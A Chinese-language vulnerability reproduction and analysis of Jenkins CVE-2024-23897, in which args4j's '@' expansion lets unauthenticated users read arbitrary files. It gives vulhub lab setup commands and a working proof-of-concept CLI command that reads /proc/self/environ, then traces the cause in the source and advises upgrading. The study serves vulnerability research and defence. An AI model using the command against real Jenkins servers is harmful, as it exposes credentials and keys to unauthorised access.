漏洞描述：
Jenkins CLI 是 Jenkins 内置的命令行页面。
Jenkins 受影响版本中使用 args4j 库解析CLI命令参数，该库默认将参数中 @ 字符后的文件路径替换为文件内容，未授权的攻击者可利用该特性使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件)，并结合 Resource Root URL、Remember me cookie、存储型 XSS 或 CSRF 等在 Jenkins 控制器中执行任意代码。
漏洞复现：
vulhub/jenkins/CVE-2024-23897
使用vulhub启动漏洞环境
docker-compose build
docker-compose up -d下载搭建服务器上的Jenkins-cli.jar
curl -o jenkins.jar http://{搭建的服务器的ip}:{docker映射出的端口，默认8080}/jnlpJars/jenkins-cli.jar读取文件
java -jar jenkins.jar -s http:{IP:port} -http help 1 "@/proc/self/environ"
和服务器上的对比（进入docker容器)
漏洞分析:
core/src/main/java/hudson/cli/CLIAction.java 文件中新增了ALLOW_AT_SYNTAX 变量来决定是否允许解析以 @ 前缀开头的内容
这是由于args4j 库默认将参数中 @字符后的文件路径替换为文件内容，需要自己判断
图parseArugment中处理文件
从一开是的poc也可以看出来，最后返回的内容实际上应该是一个报错，但是报错中文件路径的部分被替换成了文件的内容。
java -jar jenkins.jar -s http:{IP:port} -http help 1 "@/proc/self/environ"根据poc来看，漏洞的原因：1.处理help的参数限制不够；2.使用的库的默认处理不太合理；3.对返回的报错没有检查。
进一步分析
创建实例p
实例p调用parseArugment方法（具体查看前图图parseArugment中处理文件）
同时，系统对help和whoami参数并不进行身份验证
由以上的分析，其实poc应该就是 help+文件路径就可以了
漏洞链路 ：cli.jar–http参数–help参数
漏洞修复
更新至最新版本~~